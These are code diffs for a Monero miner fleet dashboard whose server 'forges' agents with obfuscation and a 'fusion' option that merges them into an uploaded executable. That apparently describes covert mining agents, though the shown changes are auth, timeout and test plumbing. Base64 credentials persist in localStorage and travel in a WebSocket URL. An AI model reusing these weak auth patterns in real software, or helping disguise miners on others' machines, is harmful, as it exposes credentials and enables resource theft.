// Start server
addr := fmt.Sprintf(":%d", cfg.Port)
log.Printf("Server listening on %s", addr)
@@ -456,6 +463,13 @@ func findAgentSourceDir() string {
// resolveDataDir pins relative data paths to the project root so builds always land in
// <repo>/data even when miner-server.exe is started from server/ or bin/.
func validateListenPort(port int) error {
if port < 1 || port > 65535 {
return fmt.Errorf("port %d out of range (165535)", port)
}
return nil
}
func resolveDataDir(dataDir, projectRoot string) string {
if filepath.IsAbs(dataDir) {
return dataDir

View File

@@ -7,6 +7,18 @@ import (
"testing"
)
func TestValidateListenPort(t *testing.T) {
if err := validateListenPort(8989); err != nil {
t.Fatalf("8989 should be valid: %v", err)
}
if err := validateListenPort(0); err == nil {
t.Fatal("port 0 should be invalid")
}
if err := validateListenPort(70000); err == nil {
t.Fatal("port 70000 should be invalid")
}
}
func TestResolveDataDirAbsolute(t *testing.T) {
abs := filepath.Join(t.TempDir(), "data")
got := resolveDataDir(abs, "C:\\project")

View File

@@ -2,26 +2,66 @@
* @vitest-environment happy-dom
*/
import { beforeEach, describe, expect, it, vi } from 'vitest';
import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
const AUTH_KEY = 'aetherforge_auth';
describe('auth session helpers', () => {
beforeEach(() => {
sessionStorage.clear();
localStorage.clear();
});
it('stores and retrieves basic token', () => {
it('stores and retrieves basic token in session and local storage', () => {
setStoredAuth('drjones', 'secret');
expect(getStoredAuth()).toBe(btoa('drjones:secret'));
const token = encodeBasicToken('drjones', 'secret');
expect(getStoredAuth()).toBe(token);
expect(sessionStorage.getItem(AUTH_KEY)).toBe(token);
expect(localStorage.getItem(AUTH_KEY)).toBe(token);
});
it('builds Authorization header when logged in', () => {
it('reads from localStorage when sessionStorage is empty', () => {
const token = encodeBasicToken('user', 'pass');
localStorage.setItem(AUTH_KEY, token);
expect(getStoredAuth()).toBe(token);
});
it('builds Authorization and client header when logged in', () => {
setStoredAuth('user', 'pass');
expect(authHeaders()).toEqual({ Authorization: `Basic ${btoa('user:pass')}` });
expect(authHeaders()).toEqual({
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken('user', 'pass')}`,
});
});
it('returns empty headers when logged out', () => {
it('includes client header when logged out', () => {
clearStoredAuth();
expect(authHeaders()).toEqual({});
expect(authHeaders()).toEqual({
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
});
});
it('clears both storages on logout', () => {
setStoredAuth('user', 'pass');
clearStoredAuth();
expect(sessionStorage.getItem(AUTH_KEY)).toBeNull();
expect(localStorage.getItem(AUTH_KEY)).toBeNull();
expect(getStoredAuth()).toBeNull();
});
it('encodeBasicToken supports non-ASCII passwords', () => {
const token = encodeBasicToken('user', 'päss');
expect(token).toBeTruthy();
expect(token).not.toBe(btoa('user:päss'));
});
it('getStoredAuth returns null when sessionStorage throws', () => {
@@ -30,4 +70,11 @@ describe('auth session helpers', () => {
});
expect(getStoredAuth()).toBeNull();
});
it('consumeAuthExpiredFlag is set once on expired logout', () => {
setStoredAuth('user', 'pass');
clearStoredAuth({ expired: true });
expect(consumeAuthExpiredFlag()).toBe(true);
expect(consumeAuthExpiredFlag()).toBe(false);
});
});

View File

@@ -1,30 +1,105 @@
const AUTH_KEY = 'aetherforge_auth';
const AUTH_EXPIRED_KEY = 'aetherforge_auth_expired';
export function getStoredAuth(): string | null {
export const AETHERFORGE_CLIENT_HEADER = 'X-AetherForge-Client';
export const AETHERFORGE_CLIENT_VALUE = 'dashboard';
/** UTF-8-safe Basic auth token (username:password) for Authorization header. */
export function encodeBasicToken(username: string, password: string): string {
const bytes = new TextEncoder().encode(`${username}:${password}`);
let binary = '';
for (let i = 0; i < bytes.length; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
function readAuthStorage(): string | null {
try {
return sessionStorage.getItem(AUTH_KEY);
const session = sessionStorage.getItem(AUTH_KEY);
if (session) return session;
} catch {
/* sessionStorage blocked */
}
try {
return localStorage.getItem(AUTH_KEY);
} catch {
return null;
}
}
function writeAuthStorage(token: string) {
try {
sessionStorage.setItem(AUTH_KEY, token);
} catch {
/* ignore */
}
try {
localStorage.setItem(AUTH_KEY, token);
} catch {
/* ignore */
}
}
function removeAuthStorage() {
try {
sessionStorage.removeItem(AUTH_KEY);
} catch {
/* ignore */
}
try {
localStorage.removeItem(AUTH_KEY);
} catch {
/* ignore */
}
}
export function getStoredAuth(): string | null {
return readAuthStorage();
}
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
const token = btoa(`${username}:${password}`);
sessionStorage.setItem(AUTH_KEY, token);
const token = encodeBasicToken(username, password);
writeAuthStorage(token);
if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth'));
}
}
export function clearStoredAuth(opts?: { silent?: boolean }) {
sessionStorage.removeItem(AUTH_KEY);
export function clearStoredAuth(opts?: { silent?: boolean; expired?: boolean }) {
if (opts?.expired) {
try {
sessionStorage.setItem(AUTH_EXPIRED_KEY, '1');
} catch {
/* ignore */
}
}
removeAuthStorage();
if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth'));
}
}
/** True once after a 401 cleared stored credentials; consumed by SessionGate login UI. */
export function consumeAuthExpiredFlag(): boolean {
try {
if (sessionStorage.getItem(AUTH_EXPIRED_KEY)) {
sessionStorage.removeItem(AUTH_EXPIRED_KEY);
return true;
}
} catch {
/* ignore */
}
return false;
}
export function authHeaders(): Record<string, string> {
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
};
const token = getStoredAuth();
if (!token) return {};
return { Authorization: `Basic ${token}` };
if (token) {
headers.Authorization = `Basic ${token}`;
}
return headers;
}

View File

@@ -22,6 +22,7 @@ describe('api client', () => {
beforeEach(() => {
sessionStorage.clear();
localStorage.clear();
fetchMock = vi.fn();
vi.stubGlobal('fetch', fetchMock);
});
@@ -38,6 +39,7 @@ describe('api client', () => {
function expectAuthHeaders(init: RequestInit) {
const headers = init.headers as Record<string, string>;
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
expect(headers['X-AetherForge-Client']).toBe('dashboard');
}
it('sends JSON Content-Type and auth on listAgents', async () => {
@@ -69,6 +71,16 @@ describe('api client', () => {
const headers = lastFetch().init.headers as Record<string, string>;
expect(headers.Authorization).toBeUndefined();
expect(headers['X-AetherForge-Client']).toBe('dashboard');
});
it('clears stored auth on 401 API response', async () => {
setStoredAuth('user', 'pass');
fetchMock.mockResolvedValueOnce(textResponse('Unauthorized', 401));
await expect(api.listAgents()).rejects.toThrow('API error 401');
expect(sessionStorage.getItem('aetherforge_auth')).toBeNull();
expect(localStorage.getItem('aetherforge_auth')).toBeNull();
});
it('getAgentStats appends limit query param', async () => {
@@ -111,6 +123,18 @@ describe('api client', () => {
expect(url).toBe('/api/v1/builder/build');
expect(init.method).toBe('POST');
expect(init.body).toBe(JSON.stringify(req));
expect(init.signal).toBeDefined();
});
it('buildAgent surfaces server error from JSON body', async () => {
const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
fetchMock.mockResolvedValueOnce({
ok: false,
status: 500,
text: async () => JSON.stringify({ success: false, error: 'compile failed (garble): OOM' }),
});
await expect(api.buildAgent(req)).rejects.toThrow('compile failed (garble): OOM');
});
it('buildAgent rejects fusion without prep file', async () => {

View File

@@ -1,11 +1,72 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import { authHeaders } from './auth';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
const API_BASE = '/api/v1';
/** Forge compiles (garble / universal / fusion) can run 1030+ minutes. */
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
/** Agent log refresh=1 may block until new lines arrive. */
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
function forgeTimeoutError(): Error {
return new Error(
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
'Wait longer, disable obfuscation, or forge one target at a time.',
);
}
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
const text = await res.text();
if (!res.ok) {
try {
const body = JSON.parse(text) as BuildResponse;
if (body.error) {
throw new Error(body.error);
}
} catch (e) {
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
throw e;
}
}
throw new Error(text.trim() || `Build failed (${res.status})`);
}
return JSON.parse(text) as BuildResponse;
}
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
try {
const res = await fetch(`${API_BASE}${url}`, {
...init,
signal: controller.signal,
headers: {
...authHeaders(),
...(init.headers as Record<string, string> | undefined),
},
});
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
return await parseForgeBuildResponse(res);
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw forgeTimeoutError();
}
throw e;
} finally {
clearTimeout(timer);
}
}
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
const controller = new AbortController();
@@ -24,10 +85,18 @@ async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 1000
},
});
if (!res.ok) {
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
}
throw e;
} finally {
clearTimeout(timer);
}
@@ -65,20 +134,14 @@ export const api = {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/build`, {
return postForgeBuild('/builder/build', {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<BuildResponse>;
});
}
return fetchJSON<BuildResponse>('/builder/build', {
return postForgeBuild('/builder/build', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(req),
});
},
@@ -90,17 +153,31 @@ export const api = {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
return fetch(`${API_BASE}/builder/estimate`, {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
});
signal: controller.signal,
})
.then(async (res) => {
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
})
.catch((e) => {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
}
throw e;
})
.finally(() => clearTimeout(timer));
},
pinBuild: (buildId: string) =>
@@ -159,12 +236,17 @@ export const api = {
body: JSON.stringify(mac ? { mac } : {}),
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
fetchJSON<{ agent_id: string; content: string }>(
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
undefined,
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
),
downloadAgentLog: async (id: string): Promise<void> => {
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
headers: { ...authHeaders() },
});
const res = await fetchAuthedWithTimeout(
`${API_BASE}/agents/${id}/log?download=1`,
DOWNLOAD_TIMEOUT_MS,
);
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob();
const url = URL.createObjectURL(blob);
@@ -236,9 +318,8 @@ export const api = {
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetch(`${API_BASE}/backup`, {
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
method: 'GET',
headers: { ...authHeaders() },
});
if (!res.ok) {
const err = await res.text();

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { downloadAuthedFile, downloadApiFile } from './download';
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
import { setStoredAuth } from './auth';
describe('downloadAuthedFile', () => {
@@ -11,6 +11,7 @@ describe('downloadAuthedFile', () => {
beforeEach(() => {
sessionStorage.clear();
localStorage.clear();
fetchMock = vi.fn();
vi.stubGlobal('fetch', fetchMock);
clickMock = vi.fn();
@@ -30,7 +31,9 @@ describe('downloadAuthedFile', () => {
const [url, init] = fetchMock.mock.calls[0];
expect(url).toBe('/api/v1/builds/b1/download');
expect((init.headers as Record<string, string>).Authorization).toBe(`Basic ${btoa('user:pass')}`);
const headers = init.headers as Record<string, string>;
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
expect(headers['X-AetherForge-Client']).toBe('dashboard');
expect(clickMock).toHaveBeenCalled();
});
@@ -65,4 +68,18 @@ describe('downloadAuthedFile', () => {
it('downloadApiFile is an alias', () => {
expect(downloadApiFile).toBe(downloadAuthedFile);
});
it('throws timeout message when download exceeds limit', async () => {
fetchMock.mockImplementation((_url, init?: RequestInit) => {
return new Promise((_, reject) => {
init?.signal?.addEventListener('abort', () => {
reject(new DOMException('The operation was aborted.', 'AbortError'));
});
});
});
await expect(fetchAuthedWithTimeout('/api/v1/builds/x/download', 1500)).rejects.toThrow(
'Download timed out after 2s',
);
});
});

View File

@@ -1,9 +1,46 @@
import { authHeaders } from './auth';
/** Large build artifacts (ZIP, fusion bundles). */
export const DOWNLOAD_TIMEOUT_MS = 5 * 60 * 1000;
/** Full deck backup zip — may include DB + config. */
export const BACKUP_DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000;
function downloadTimeoutError(timeoutMs: number): Error {
return new Error(`Download timed out after ${Math.round(timeoutMs / 1000)}s`);
}
/** Authenticated fetch with abort timeout and consistent AbortError messaging. */
export async function fetchAuthedWithTimeout(
url: string,
timeoutMs: number,
init?: RequestInit,
): Promise<Response> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), timeoutMs);
try {
return await fetch(url, {
...init,
signal: controller.signal,
headers: {
...authHeaders(),
...(init?.headers as Record<string, string> | undefined),
},
});
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw downloadTimeoutError(timeoutMs);
}
throw e;
} finally {
clearTimeout(timer);
}
}
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
const res = await fetch(path, { headers: authHeaders() });
const res = await fetchAuthedWithTimeout(path, DOWNLOAD_TIMEOUT_MS);
if (!res.ok) {
const err = await res.text();
throw new Error(err || `Download failed (${res.status})`);

View File

@@ -50,17 +50,15 @@ export default function HashrateChart({
const gradId = colorToId(color);
const peak = chartSeriesPeak(data);
const delta = chartSeriesDelta(data);
const liveLabel =
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
const liveClass =
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
const liveLabel = displayMode === 'live' ? '● LIVE' : '○ IDLE';
const liveClass = displayMode === 'live' ? 'pulse' : 'empty';
if (data.length === 0) {
return (
<div className="chart-empty neon-chart-panel wealth-empty">
<div className="chart-empty-icon"></div>
<p className="font-tech">{title || 'Telemetry'}</p>
<span>Calibrating chart telemetry</span>
<span>No live data yet connect miners to populate this chart</span>
</div>
);
}

View File

@@ -5,7 +5,6 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters';
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -174,26 +173,6 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
);
}
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
const usdDay = xmrDay * price;
return (
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
<div className="stat-label font-tech">Target Fleet Earnings</div>
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
<div className="earnings-usd-day"> ${usdDay.toFixed(2)}/day</div>
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
Deploy miners to replace projection with live pool data
</div>
</NeonCard>
);
}
// ─── Fleet Health Card ────────────────────────────────────────────────────────
export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -231,24 +210,20 @@ export function ContributionBars({
bars,
xmrPerDay,
xmrPrice,
sample = false,
}: {
bars: ContributionBar[];
xmrPerDay?: number;
xmrPrice?: number | null;
sample?: boolean;
}) {
if (bars.length === 0) return null;
return (
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
<NeonCard accent="cyan" className="section contrib-panel" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Contribution Map
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
{sample
? 'Sample contribution map — your rigs will populate this lane when they connect.'
: "Each bar shows a machine's share of total fleet hashrate."}
Each bar shows a machine&apos;s share of total fleet hashrate.
</p>
<div className="contrib-list">
{bars.map((b) => {

View File

@@ -1,103 +1,159 @@
import { useEffect, useState, type ReactNode } from 'react';
import { getStoredAuth, setStoredAuth } from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setReady(true);
return;
}
fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } })
.then((r) => {
setAuthed(r.ok);
setReady(true);
})
.catch(() => {
setAuthed(false);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
const token = btoa(`${user}:${pass}`);
try {
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
if (!res.ok) {
setErr('Login failed — check username and password.');
play('error');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
play('success');
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
};
if (!ready) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<p className="font-tech">Starting AetherForge</p>
</div>
);
}
if (!authed) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl">
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} />
</div>
</div>
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
<label className="label" htmlFor="session-user">Username</label>
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label>
<input
id="session-pass"
className="input"
type="password"
value={pass}
onChange={(e) => setPass(e.target.value)}
autoComplete="current-password"
/>
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
</form>
</div>
);
}
return <>{children}</>;
}
import { useEffect, useState, type ReactNode } from 'react';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [degraded, setDegraded] = useState(false);
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
const [sessionExpired, setSessionExpired] = useState(false);
useEffect(() => {
const sync = () => {
const hasAuth = !!getStoredAuth();
setAuthed(hasAuth);
if (!hasAuth) {
setSessionExpired(consumeAuthExpiredFlag());
}
};
window.addEventListener('aetherforge-auth', sync);
return () => window.removeEventListener('aetherforge-auth', sync);
}, []);
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setSessionExpired(consumeAuthExpiredFlag());
setReady(true);
return;
}
fetch('/api/v1/config', { headers: authHeaders() })
.then((r) => {
if (r.status === 401) {
clearStoredAuth({ silent: true, expired: true });
setAuthed(false);
setSessionExpired(true);
} else if (!r.ok) {
// Server reachable but unhappy — keep saved credentials (degraded mode).
setAuthed(true);
setDegraded(true);
} else {
setAuthed(true);
setDegraded(false);
}
setReady(true);
})
.catch(() => {
// Network blip — trust stored credentials until the server responds.
setAuthed(true);
setDegraded(true);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
setSessionExpired(false);
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
};
try {
const res = await fetch('/api/v1/config', { headers });
if (!res.ok) {
setErr('Login failed — check username and password.');

View File

@@ -73,12 +73,12 @@ interface ActivityPulseProps {
items: { id: string; label: string; ok: boolean; time?: string }[];
}
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
export function ActivityPulse({ items }: ActivityPulseProps) {
if (items.length === 0) {
return <p className="activity-empty font-tech">Awaiting fleet activity</p>;
}
return (
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
<div className="activity-pulse">
{items.slice(0, 12).map((item) => (
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
<span className="activity-blip-core" />

View File

@@ -65,15 +65,22 @@ vi.mock('../context/ForgeContext', () => ({
useForge: vi.fn(() => ({ forging: false, stage: '' })),
}));
vi.mock('../api/download', () => ({
downloadApiFile: vi.fn(),
downloadAuthedFile: vi.fn(),
}));
vi.mock('../api/download', () => {
const downloadAuthedFile = vi.fn();
return {
downloadAuthedFile,
downloadApiFile: downloadAuthedFile,
};
});
vi.mock('../api/auth', () => ({
getStoredAuth: vi.fn(),
setStoredAuth: vi.fn(),
}));
vi.mock('../api/auth', async (importOriginal) => {
const actual = await importOriginal<typeof import('../api/auth')>();
return {
...actual,
getStoredAuth: vi.fn(),
setStoredAuth: vi.fn(),
};
});
vi.mock('qrcode', () => ({
default: {
@@ -174,9 +181,7 @@ describe('DownloadButton', () => {
);
const btn = screen.getByRole('button', { name: 'Save' });
await userEvent.setup().click(btn);
await waitFor(() => {
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
});
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
});
@@ -283,7 +288,7 @@ describe('SessionGate', () => {
it('renders children when stored auth validates', async () => {
getStoredAuthMock.mockReturnValue('dGVzdA==');
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true }));
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true, status: 200 }));
render(
<SessionGate>
<div>protected</div>
@@ -291,6 +296,18 @@ describe('SessionGate', () => {
);
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
});
it('keeps session on network blip during startup validation', async () => {
getStoredAuthMock.mockReturnValue('dGVzdA==');
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('ECONNREFUSED')));
render(
<SessionGate>
<div>protected</div>
</SessionGate>
);
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
expect(screen.getByRole('status')).toHaveTextContent(/Cannot reach server/i);
});
});
describe('GaugeRing', () => {
@@ -320,7 +337,7 @@ describe('HashrateChart', () => {
it('shows empty state when data is empty', () => {
render(<HashrateChart data={[]} title="Fleet Hash" />);
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
expect(screen.getByText(/No live data yet/i)).toBeInTheDocument();
});
it('renders chart with validated sample series', () => {
@@ -329,14 +346,14 @@ describe('HashrateChart', () => {
render(
<HashrateChart
data={sample}
displayMode="sample"
displayMode="live"
title="Fleet Hash"
color="#00f5ff"
unit="H/s"
/>
);
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
expect(screen.getByText(/LIVE/)).toBeInTheDocument();
});
it('renders chart with data points', () => {

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { act, render, renderHook } from '@testing-library/react';
import { act, render, renderHook, waitFor } from '@testing-library/react';
import { WebSocketProvider } from './WebSocketProvider';
import { useWebSocketContext } from './WebSocketContext';
import { useWebSocket } from '../hooks/useWebSocket';
@@ -50,6 +50,7 @@ describe('WebSocketProvider', () => {
MockWebSocket.instances = [];
setStoredAuth('testuser', 'testpass', { silent: true });
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('no ws ticket')));
Object.defineProperty(window, 'location', {
value: { protocol: 'http:', host: 'localhost:8080' },
configurable: true,
@@ -64,16 +65,23 @@ describe('WebSocketProvider', () => {
return MockWebSocket.instances.at(-1)!;
}
async function waitForSocket() {
await waitFor(() => {
expect(MockWebSocket.instances.length).toBeGreaterThan(0);
});
return latestSocket();
}
function wrapper({ children }: { children: React.ReactNode }) {
return <WebSocketProvider>{children}</WebSocketProvider>;
}
it('connects to ws dashboard with auth token query param', () => {
it('connects to ws dashboard with auth token query param', async () => {
setStoredAuth('drjones', 'secret');
MockWebSocket.instances = [];
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
const ws = latestSocket();
const ws = await waitForSocket();
const token = btoa('drjones:secret');
expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
@@ -92,9 +100,10 @@ describe('WebSocketProvider', () => {
expect(useWebSocket).toBe(useWebSocketContext);
});
it('handles init and agent_online messages', () => {
it('handles init and agent_online messages', async () => {
const agent = mockAgent({ id: 'live-1' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
@@ -115,9 +124,10 @@ describe('WebSocketProvider', () => {
expect(result.current.agents[0].hashrate_15s).toBe(999);
});
it('marks agent offline and caps recent shares', () => {
it('marks agent offline and caps recent shares', async () => {
const agent = mockAgent({ id: 'a-offline' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
@@ -140,8 +150,9 @@ describe('WebSocketProvider', () => {
expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
});
it('assigns monotonic _seq on command_result', () => {
it('assigns monotonic _seq on command_result', async () => {
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
@@ -161,23 +172,24 @@ describe('WebSocketProvider', () => {
